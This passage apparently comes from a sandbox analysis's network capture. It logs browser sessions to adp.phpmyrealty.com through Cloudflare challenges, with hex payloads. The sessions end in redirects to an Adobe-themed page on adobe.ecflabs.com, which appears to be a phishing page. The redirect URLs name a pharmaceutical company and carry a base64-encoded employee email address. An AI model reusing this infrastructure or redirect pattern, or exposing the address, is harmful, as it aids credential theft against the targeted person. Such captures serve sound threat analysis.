2b 62 74 32 75 44 63 38 51 58 4f 42 2f 58 6e 30 2f 4c 38 32 75 38 67 38 52 6e 68 45 2b 50 67 38 52 6a 39 47 66 4d 44 35 77 6e 2b 4d 51 6f 67 41 41 77 47 42 4f Data Ascii: 2TXFNMmd3TWtVcU2BWEU+Ynd4WWR7XmB+ZWpSak9vTXFocmeWVJBoVldea5GXfnWYdGesYnWBfZ+FinJ+treDgoWtebmRsoq+oY6OsoC1yId/q5fKxsrQqaDRicKUqajGtLSqtbG/nrW8vK7jtdK4mqi4tcTu4ajcr66x8qvLsPWz08rQvNXQ/ff7zs7N2djf3dXbDQjjx+bt2uDc8QXOB/Xn0/L82u8g8RnhE+Pg8Rj9GfMD5wn+MQogAAwGBO
2025-04-28 07:04:53 UTC	12	IN	Data Raw: 65 49 46 4d 55 6c 35 77 66 30 6f 3d Data Ascii: eIFMUl5wf0o=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49742	104.18.94.41	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:53 UTC	638	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/652780260:1745821567:WBBn2W7-fOSe7lGpGYVAOox2W9NKxXUBK7p5JVjVv_U/9374b425be546a49/vJwbh2JU03EtygssnrEXjkqGQuJQ_136_FMkyZ6GkWE-1745823847-1.1.1.1-qzR3nADmxNcRoy1CzRGnKqjrlpQBHTLtv8NZE070I0b.I7IPsOih7HTF3j1i8Ncz HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:54 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Mon, 28 Apr 2025 07:04:54 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: Ov4V6tYzJwGW44wxxtqQE4eNDVR6hfg2jgV1Z0Xtjkpyl4+tqHRZGs1/fXEL4HCUf8YgiBPz/UIsy84ssIQlUg==$xHyVDAuTSlDC1TKoYkhiRg== Server: cloudflare CF-RAY: 9374b549ca935529-PHX alt-svc: h3=":443"; ma=86400
2025-04-28 07:04:54 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49741	172.67.215.23	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:53 UTC	1357	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/638699444:1745821587:xbzCd5YBTmtoV3TbJLfvaYF7qf3ng48bg7dPg7KCPyw/9374b4166e99d2c0/_j91tbcKrPzA0_4WPX18B3tnqo5WhMtbmoiqiUtSfC0-1745823844-1.2.1.1-hf_FMyqN7DLABu2AaqD5paPXhCvmIqMEpSd5Vi8ld.OEIgJnP8YXneH2ZEuEMuI3 HTTP/1.1 Host: adp.phpmyrealty.com Connection: keep-alive Content-Length: 4608 sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" cf-chl-ra: 0 sec-ch-ua-mobile: ?0 sec-ch-ua-model: "" sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 cf-chl: _j91tbcKrPzA0_4WPX18B3tnqo5WhMtbmoiqiUtSfC0-1745823844-1.2.1.1-hf_FMyqN7DLABu2AaqD5paPXhCvmIqMEpSd5Vi8ld.OEIgJnP8YXneH2ZEuEMuI3 sec-ch-ua-platform-version: "10.0.0" Accept: / Origin: https://adp.phpmyrealty.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:53 UTC	4608	OUT	Data Raw: 53 30 39 46 55 6f 42 66 4e 32 49 76 49 43 66 56 6c 42 50 6f 34 4b 42 61 56 6d 42 55 56 6e 46 4f 30 42 4f 56 53 46 6f 75 43 56 44 56 61 46 61 69 43 7a 6d 79 56 57 6f 56 7a 4b 73 43 6f 6c 56 44 4e 71 6b 4b 46 56 6b 73 46 7a 4f 32 43 56 43 44 56 64 46 43 43 56 6d 46 6f 49 4e 39 56 70 39 56 4f 56 76 39 42 68 2b 46 6f 71 47 56 66 62 33 2b 56 58 4e 4b 4b 75 4d 56 66 50 70 2b 30 77 61 56 56 66 56 48 73 4b 42 6f 6f 77 74 38 39 42 38 4b 46 56 45 53 52 39 56 72 55 52 52 56 42 41 56 4c 4b 64 79 69 64 37 44 42 64 34 53 42 56 56 33 72 6e 31 2b 4b 61 34 56 75 47 4b 48 4f 43 6f 4d 75 6f 4e 56 53 46 42 4f 61 5a 69 4f 58 56 56 62 56 43 52 70 72 31 56 58 75 56 42 36 50 46 42 6a 61 4b 4b 48 56 42 66 6c 72 64 2b 56 4f 36 55 4e 5a 72 30 34 4b 69 46 49 59 77 34 56 59 6d 55 66 Data Ascii: S09FUoBfN2IvICfVlBPo4KBaVmBUVnFO0BOVSFouCVDVaFaiCzmyVWoVzKsColVDNqkKFVksFzO2CVCDVdFCCVmFoIN9Vp9VOVv9Bh+FoqGVfb3+VXNKKuMVfPp+0waVVfVHsKBoowt89B8KFVESR9VrURRVBAVLKdyid7DBd4SBVV3rn1+Ka4VuGKHOCoMuoNVSFBOaZiOXVVbVCRpr1VXuVB6PFBjaKKHVBflrd+VO6UNZr04KiFIYw4VYmUf
2025-04-28 07:04:54 UTC	613	IN	HTTP/1.1 200 OK Date: Mon, 28 Apr 2025 07:04:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4200 Connection: close Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QN%2Fv49CnLiUrygFkow4fyS6Vt1ghdYNkZIPBss%2FRZrbcWURHm0RM0atwRISoNpcJ7WcVxNv4hF5UEjNw%2FUBKekydnZ3lLU6%2BRHAOwbyM38O00RhBKsZELk48PzQ4Vq%2BsQhZhGogX"}],"group":"cf-nel","max_age":604800} Server: cloudflare Cf-Chl-Out: qL2KHyWid936uRG3AHkxk2MkSTSisfFB5Cfds4THV6rYT4mMwo6zANRrA31oMZgdp0LlySI66FyuFwXbCiSorA==$MEendVhAZxiDR+gbCELQIA==
2025-04-28 07:04:54 UTC	1809	IN	Data Raw: 43 66 2d 43 68 6c 2d 4f 75 74 2d 53 3a 20 6a 63 6b 6d 6d 63 35 58 58 39 39 33 6e 79 65 67 38 4d 78 64 6c 53 38 6b 7a 5a 66 42 57 42 79 62 4f 35 4a 53 57 49 63 52 66 45 4d 73 4b 6a 64 70 59 6c 44 57 32 49 58 46 76 38 65 4b 55 37 6c 36 30 38 4e 65 37 73 55 6a 55 58 2f 55 54 71 6d 34 47 4d 77 50 2b 6f 34 2f 57 77 4d 37 38 4f 4b 49 59 4a 4c 32 75 53 77 38 6c 6d 6a 76 4e 4a 62 4f 73 75 51 51 63 38 55 35 64 50 4a 6a 53 58 6f 7a 4e 54 42 39 58 55 64 4a 31 68 4c 45 70 52 52 4d 48 55 33 50 4f 30 62 64 37 71 6f 7a 2f 6b 48 41 59 4d 2b 34 78 54 65 44 63 37 65 31 79 38 6c 4a 59 71 72 79 4f 74 38 42 31 75 54 53 30 4b 62 33 63 72 4a 43 6a 55 68 56 45 6b 73 4a 78 4d 4c 45 70 32 34 32 59 4c 71 52 33 44 59 46 63 43 45 71 38 71 35 32 78 44 64 68 6b 6e 71 45 6d 39 45 35 35 Data Ascii: Cf-Chl-Out-S: jckmmc5XX993nyeg8MxdlS8kzZfBWBybO5JSWIcRfEMsKjdpYlDW2IXFv8eKU7l608Ne7sUjUX/UTqm4GMwP+o4/WwM78OKIYJL2uSw8lmjvNJbOsuQQc8U5dPJjSXozNTB9XUdJ1hLEpRRMHU3PO0bd7qoz/kHAYM+4xTeDc7e1y8lJYqryOt8B1uTS0Kb3crJCjUhVEksJxMLEp242YLqR3DYFcCEq8q52xDdhknqEm9E55
2025-04-28 07:04:54 UTC	316	IN	Data Raw: 64 37 69 6e 6b 5a 57 4d 65 4c 61 6a 6b 62 75 34 70 61 61 70 6b 5a 4f 69 78 4b 37 45 69 36 4f 67 78 4d 71 6d 74 63 2b 55 79 4c 54 4d 30 37 4b 50 73 73 71 37 34 4e 76 4d 32 4a 7a 66 30 4e 79 62 35 75 4f 6c 72 65 33 70 77 75 33 69 73 63 2f 4c 72 66 4b 79 32 72 57 37 2b 64 69 34 31 64 44 58 42 4f 4c 65 32 4e 54 68 39 75 54 58 44 4e 7a 6f 34 67 38 48 37 4f 41 54 36 41 44 6d 43 74 54 6e 32 75 54 71 2f 42 59 59 43 66 77 59 39 50 62 68 48 42 2f 61 45 68 30 6d 36 50 7a 75 39 77 73 6c 4c 65 38 48 4c 43 7a 70 46 42 41 54 4f 52 55 4a 4e 68 45 74 4b 6a 6b 41 48 42 77 66 2f 53 45 55 51 55 54 2b 51 6b 45 50 44 52 38 54 48 43 64 41 53 68 52 56 4e 56 56 59 4b 55 30 75 54 79 42 51 51 54 46 6d 4f 47 64 62 52 47 6f 30 50 79 31 65 54 79 31 63 4d 55 5a 45 4a 31 42 71 54 6e 6c Data Ascii: d7inkZWMeLajkbu4paapkZOixK7Ei6OgxMqmtc+UyLTM07KPssq74NvM2Jzf0Nyb5uOlre3pwu3isc/LrfKy2rW7+di41dDXBOLe2NTh9uTXDNzo4g8H7OAT6ADmCtTn2uTq/BYYCfwY9PbhHB/aEh0m6Pzu9wslLe8HLCzpFBATORUJNhEtKjkAHBwf/SEUQUT+QkEPDR8THCdAShRVNVVYKU0uTyBQQTFmOGdbRGo0Py1eTy1cMUZEJ1BqTnl
2025-04-28 07:04:54 UTC	1369	IN	Data Raw: 67 35 2b 68 61 59 47 71 67 61 4f 45 6f 6e 35 6c 71 36 61 57 6b 61 70 79 71 61 4e 35 64 62 32 4e 63 6f 75 38 71 38 4b 54 6e 6f 48 42 69 4b 75 6e 76 35 2b 34 79 4b 61 36 6b 59 76 42 73 4c 44 59 30 39 65 71 31 4c 66 65 6e 62 76 4c 75 39 6e 66 73 64 54 47 35 74 44 6e 32 74 6e 63 78 4d 4f 36 36 72 36 70 34 66 50 4b 7a 73 66 42 2b 4f 72 73 30 2b 69 33 76 2b 37 4a 2f 67 50 2b 74 2b 48 53 33 66 72 4a 42 2b 45 4d 41 66 63 44 36 2b 37 4f 41 67 63 51 47 52 6b 4e 43 66 49 51 44 39 67 61 47 50 49 4e 44 4e 76 78 48 77 48 66 35 4f 6a 36 2f 42 77 71 4c 66 67 72 2f 43 55 45 4b 43 77 4a 41 6a 41 30 44 41 66 38 50 67 34 78 4c 43 30 57 39 67 41 5a 41 44 56 4c 4e 45 63 61 4a 79 77 68 4b 46 41 39 56 55 74 46 45 79 74 5a 4c 6c 6b 73 58 56 42 55 4d 56 31 56 50 54 39 41 50 7a 4a Data Ascii: g5+haYGqgaOEon5lq6aWkapyqaN5db2Ncou8q8KTnoHBiKunv5+4yKa6kYvBsLDY09eq1LfenbvLu9nfsdTG5tDn2tncxMO66r6p4fPKzsfB+Ors0+i3v+7J/gP+t+HS3frJB+EMAfcD6+7OAgcQGRkNCfIQD9gaGPINDNvxHwHf5Oj6/BwqLfgr/CUEKCwJAjA0DAf8Pg4xLC0W9gAZADVLNEcaJywhKFA9VUtFEytZLlksXVBUMV1VPT9APzJ
2025-04-28 07:04:54 UTC	874	IN	Data Raw: 33 31 70 68 34 6c 2f 6b 35 56 6f 6c 4b 2b 43 69 4b 57 45 76 6f 39 39 6a 4a 75 61 6c 4a 47 64 73 37 4b 58 6f 59 4b 6f 6c 36 61 46 6e 4b 4f 73 30 38 61 6e 73 4a 4b 51 6f 74 57 78 6c 38 53 77 6d 72 61 73 32 4d 7a 41 77 36 37 42 77 4c 61 38 32 38 66 68 76 4b 33 72 34 4f 62 73 72 63 69 72 7a 2f 50 79 35 73 66 36 7a 76 7a 76 32 4c 37 51 34 74 58 36 39 76 76 39 42 75 48 4a 35 39 6b 4e 2b 2f 7a 6b 36 42 49 41 44 4f 44 73 38 68 4c 50 36 4f 6a 6c 43 66 6a 39 41 69 49 64 34 74 6f 67 2b 4f 63 6d 43 65 66 6e 48 53 63 68 35 69 67 61 4c 69 67 57 43 53 45 56 4e 42 73 77 47 79 73 38 46 6b 41 7a 4e 42 66 35 4c 55 49 35 51 69 70 43 4b 6b 46 46 53 67 68 51 52 79 73 79 4a 56 51 32 4e 53 70 4a 47 56 49 74 58 43 35 63 4d 7a 74 68 58 6a 4e 5a 59 45 51 31 51 6b 64 6b 50 54 63 6c Data Ascii: 31ph4l/k5VolK+CiKWEvo99jJualJGds7KXoYKol6aFnKOs08ansJKQotWxl8Swmras2MzAw67BwLa828fhvK3r4Obsrcirz/Py5sf6zvzv2L7Q4tX69vv9BuHJ59kN+/zk6BIADODs8hLP6OjlCfj9AiId4tog+OcmCefnHSch5igaLigWCSEVNBswGys8FkAzNBf5LUI5QipCKkFFSghQRysyJVQ2NSpJGVItXC5cMzthXjNZYEQ1QkdkPTcl
2025-04-28 07:04:54 UTC	1369	IN	Data Raw: 7a 4f 51 30 69 48 30 41 69 42 41 5a 41 42 45 73 33 4a 30 45 37 49 79 78 46 54 79 45 7a 4b 30 73 70 56 52 6f 58 55 53 31 53 57 56 49 31 4d 43 45 34 56 6d 68 67 51 56 77 38 4f 43 70 47 53 7a 70 44 52 79 39 43 53 55 31 34 5a 45 78 72 53 33 59 32 55 34 42 68 53 58 52 65 51 30 56 64 61 46 51 37 59 45 5a 4c 54 48 36 51 68 31 71 43 6c 48 35 53 68 70 69 51 61 33 43 63 6b 6c 65 50 61 6f 70 68 65 61 53 67 66 48 74 6a 64 47 68 2f 6f 56 36 45 68 4b 46 38 61 34 64 75 71 6e 57 6f 69 49 52 32 68 34 65 78 6a 5a 4e 32 66 62 65 33 76 72 32 32 6d 5a 6e 43 74 36 76 42 6a 49 61 32 69 70 33 48 77 73 61 4c 6c 63 61 50 6b 4a 4c 4b 7a 70 6a 47 76 62 79 39 76 38 4c 42 34 39 7a 58 78 4b 6a 49 77 64 37 6f 76 4e 75 6f 34 2b 72 51 36 72 33 6b 7a 38 54 79 73 74 6e 4a 74 50 72 73 38 64 Data Ascii: zOQ0iH0AiBAZABEs3J0E7IyxFTyEzK0spVRoXUS1SWVI1MCE4VmhgQVw8OCpGSzpDRy9CSU14ZExrS3Y2U4BhSXReQ0VdaFQ7YEZLTH6Qh1qClH5ShpiQa3CcklePaopheaSgfHtjdGh/oV6EhKF8a4duqnWoiIR2h4exjZN2fbe3vr22mZnCt6vBjIa2ip3HwsaLlcaPkJLKzpjGvby9v8LB49zXxKjIwd7ovNuo4+rQ6r3kz8TystnJtPrs8d
2025-04-28 07:04:54 UTC	272	IN	Data Raw: 53 42 4d 63 43 55 6f 66 54 69 39 50 45 43 56 55 49 44 30 6e 56 7a 52 4c 4e 53 55 79 4d 68 67 58 57 52 6f 64 58 46 63 58 47 44 4a 55 58 44 63 36 57 6b 78 73 52 31 39 45 55 6e 46 68 50 33 41 78 65 45 31 56 52 32 6f 32 53 31 74 4e 65 6c 6c 50 63 34 4d 38 59 46 4e 67 5a 6c 36 42 58 6c 71 43 59 58 4b 48 5a 5a 4a 75 59 4a 56 6a 6d 6c 71 5a 6c 49 39 76 58 49 43 56 64 6d 75 54 65 34 2b 6c 6e 58 4f 6d 69 71 79 42 68 35 36 75 61 58 39 2b 68 62 47 50 71 37 43 47 74 61 6d 72 6a 4c 47 5a 6d 5a 2b 58 67 4a 4f 74 67 36 48 47 73 71 6a 43 6d 70 61 38 6d 6f 69 76 77 73 65 79 73 37 43 66 77 37 61 55 31 70 75 7a 74 63 43 53 73 72 61 62 75 37 79 63 35 75 4b 35 35 65 6e 6d 7a 73 2f 76 37 61 2f 78 72 50 43 30 76 36 6e 79 75 65 6d 74 39 71 2b 77 75 63 72 79 34 62 73 43 33 64 62 Data Ascii: SBMcCUofTi9PECVUID0nVzRLNSUyMhgXWRodXFcXGDJUXDc6WkxsR19EUnFhP3AxeE1VR2o2S1tNellPc4M8YFNgZl6BXlqCYXKHZZJuYJVjmlqZlI9vXICVdmuTe4+lnXOmiqyBh56uaX9+hbGPq7CGtamrjLGZmZ+XgJOtg6HGsqjCmpa8moivwseys7Cfw7aU1puztcCSsrabu7yc5uK55enmzs/v7a/xrPC0v6nyuemt9q+wucry4bsC3db

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49743	104.21.78.21	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:54 UTC	632	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/638699444:1745821587:xbzCd5YBTmtoV3TbJLfvaYF7qf3ng48bg7dPg7KCPyw/9374b4166e99d2c0/_j91tbcKrPzA0_4WPX18B3tnqo5WhMtbmoiqiUtSfC0-1745823844-1.2.1.1-hf_FMyqN7DLABu2AaqD5paPXhCvmIqMEpSd5Vi8ld.OEIgJnP8YXneH2ZEuEMuI3 HTTP/1.1 Host: adp.phpmyrealty.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:54 UTC	987	IN	HTTP/1.1 400 Bad Request Date: Mon, 28 Apr 2025 07:04:54 GMT Content-Type: application/json Content-Length: 14 Connection: close Server: cloudflare Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Cf-Ray: 9374b54dface42d9-PHX Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Cf-Chl-Out: Ua4SaurvcUCzX3cH0E6Ic4/eDZbn7M1pWeX8yWK2L/qzVAbQ6j1U3VMyZP9UE/zP3S4SjAPoHVMmeBhqfjZalw==$JpcYQSzy7AzSDDUpAzW6NQ== Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DNOkT6E2I4e9wdazhJIqDkIj%2FlwJnBmBt0JMsAnVMW%2Br3hUYrLjRmHxOQWmRVJpOY5KgdcAnrEsQcGgDQQS2S5wsfif8AaqNTnNLJhIZ%2BP9LtFWTASC2MtOaA5euPph3OIRC3QsB"}],"group":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=139875&min_rtt=139856&rtt_var=29521&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1204&delivery_rate=28862&cwnd=252&unsent_bytes=0&cid=fc3943d15321588e&ts=341&x=0"
2025-04-28 07:04:54 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49744	172.67.215.23	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:54 UTC	1831	OUT	POST /sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u HTTP/1.1 Host: adp.phpmyrealty.com Connection: keep-alive Content-Length: 4740 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "134.0.6998.36" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" Origin: https://adp.phpmyrealty.com Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u?__cf_chl_tk=mHPapInS1ubAGJlvPliPcWFTFuqdrgRQDgNiwB381bQ-1745823844-1.0.1.1-GqnxWSPCFVedr4TP_OdP1H5PhkuO7Q4KH4xQ.sWrfdY Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=hmRpykqQLnumlG_k3HxSH0EbAerrG1EIHt3RsbBlu3Y-1745823894-1.2.1.1-T5MnePHT3L9J.4WdF.PvmMZdxyI_WCnXUTlCL1rvXFNpc1yMO3lW7hLNKe5VjFEoBghKcToYuS6mSt5Tf3wgOxjg70hDMLLI0JxXhk7G7zOfF5lACiMy9jPs9xU5.ET75NtWEJ7VLf6QTsfidmy6ilqF_BHsPQOhnjZQVRvHAJEnIQGQCfr4QDqx4c4.vn53Dbo4vNPanTFLGXAJzFahgkdcAnZ7YM6nUsdy3Y9ZrVPy4N1WfRVmL2wk75xV4.LRhCe5AfVxO5ekDUkFS1.gseiIMvhX8gF6yLyGzGth5WrLo_WcMswpmcqRmLfgt1qDR.rJ7KSCmuZC6xxuHYGaN7TlGriRsDyPRmrPG33nMnKbCLC_yi.4ugHl23gKDdF6
2025-04-28 07:04:54 UTC	4740	OUT	Data Raw: 37 32 33 61 35 63 31 63 34 66 33 62 38 66 30 65 63 38 66 30 38 63 33 62 64 38 39 63 31 37 61 31 66 38 65 31 34 66 38 64 32 33 34 33 39 36 39 31 65 37 33 38 36 36 61 65 35 66 30 34 31 30 37 61 3d 34 79 6d 6f 59 68 33 77 6c 59 36 78 32 2e 6d 32 6a 32 5a 4e 72 72 6c 37 41 69 44 32 43 33 53 54 32 78 68 51 73 73 65 6c 59 4a 55 2d 31 37 34 35 38 32 33 38 34 34 2d 31 2e 32 2e 31 2e 31 2d 4d 64 71 53 77 79 6a 67 44 2e 37 32 36 4f 6b 4c 61 6e 36 64 77 33 36 52 4c 45 65 6a 79 6d 68 32 4d 69 62 74 34 6b 4d 37 4f 55 48 63 62 6c 66 51 4d 78 42 6f 68 49 54 4e 32 4a 79 49 31 50 39 68 6d 32 4c 68 48 38 4f 79 31 4a 78 36 69 6e 4d 45 42 4b 6a 6d 63 4d 56 47 43 44 30 64 33 31 55 74 77 43 57 36 34 67 33 6b 46 52 74 43 46 52 47 79 75 67 6c 74 47 57 6c 76 42 4c 76 38 62 39 33 Data Ascii: 723a5c1c4f3b8f0ec8f08c3bd89c17a1f8e14f8d23439691e73866ae5f04107a=4ymoYh3wlY6x2.m2j2ZNrrl7AiD2C3ST2xhQsselYJU-1745823844-1.2.1.1-MdqSwyjgD.726OkLan6dw36RLEejymh2Mibt4kM7OUHcblfQMxBohITN2JyI1P9hm2LhH8Oy1Jx6inMEBKjmcMVGCD0d31UtwCW64g3kFRtCFRGyugltGWlvBLv8b93
2025-04-28 07:04:54 UTC	1023	IN	HTTP/1.1 302 Found Date: Mon, 28 Apr 2025 07:04:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Cf-Ray: 9374b54cfee842d9-PHX Location: https://adobe.ecflabs.com/adobe/?organisation=daiichi-sankyo.eu&des=c3RlZmFuLnNleWZyaWVkQGRhaWljaGktc2Fua3lvLmV1#/common/authorize?document=0.57833906755705-0ff1-0.4512296069652&auth=10.83146108492811-0.50976997823909 Cf-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sM%2B9xLHKGhcWALn4etv8ir1NDGxDjIJ8YMAlh0s0oDY9Bfz9QcLqDUIzYQ8lsPQWnhhwNmz38QllWX1KSyNVU6tVJVRFvXKOJy4X95GpRG1FBzW4m1PzKFbfAngNomOC5F9esZlS"}],"group":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=139779&min_rtt=139715&rtt_var=29575&sent=8&recv=12&lost=0&retrans=0&sent_bytes=2838&recv_bytes=7187&delivery_rate=28850&cwnd=252&unsent_bytes=0&cid=fb9060d0c80414af&ts=355&x=0"
2025-04-28 07:04:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49745	172.67.215.23	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:54 UTC	1521	OUT	GET /favicon.ico HTTP/1.1 Host: adp.phpmyrealty.com Connection: keep-alive sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua-platform-version: "10.0.0" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u?__cf_chl_tk=mHPapInS1ubAGJlvPliPcWFTFuqdrgRQDgNiwB381bQ-1745823844-1.0.1.1-GqnxWSPCFVedr4TP_OdP1H5PhkuO7Q4KH4xQ.sWrfdY Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=hmRpykqQLnumlG_k3HxSH0EbAerrG1EIHt3RsbBlu3Y-1745823894-1.2.1.1-T5MnePHT3L9J.4WdF.PvmMZdxyI_WCnXUTlCL1rvXFNpc1yMO3lW7hLNKe5VjFEoBghKcToYuS6mSt5Tf3wgOxjg70hDMLLI0JxXhk7G7zOfF5lACiMy9jPs9xU5.ET75NtWEJ7VLf6QTsfidmy6ilqF_BHsPQOhnjZQVRvHAJEnIQGQCfr4QDqx4c4.vn53Dbo4vNPanTFLGXAJzFahgkdcAnZ7YM6nUsdy3Y9ZrVPy4N1WfRVmL2wk75xV4.LRhCe5AfVxO5ekDUkFS1.gseiIMvhX8gF6yLyGzGth5WrLo_WcMswpmcqRmLfgt1qDR.rJ7KSCmuZC6xxuHYGaN7TlGriRsDyPRmrPG33nMnKbCLC_yi.4ugHl23gKDdF6
2025-04-28 07:04:54 UTC	982	IN	HTTP/1.1 302 Found Date: Mon, 28 Apr 2025 07:04:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Cf-Ray: 9374b54cfb105529-PHX Location: https://adobe.ecflabs.com/adobe/?organisation=&des=ZmF2aWNvbi5pY28=#/common/authorize?document=0.4797021450846-0ff1-0.46103073305498&auth=10.39100031386642-0.43011098188819 Cf-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GkUvoHb%2BHz0chCMowR8BacWgrYZglWOubWLnHHeaDvVFgRmQra1NGx4E0%2FD24XBlLj7vk0kgvIs%2BimbtTMjYHqfZB7qpiPTw7wqDss1imnQmlhk0Iy0cx4Y32TQFWQsd0hSm0%2Bp2"}],"group":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=139700&min_rtt=139645&rtt_var=29541&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2840&recv_bytes=2115&delivery_rate=28878&cwnd=252&unsent_bytes=0&cid=c0c07d297093e21d&ts=358&x=0"
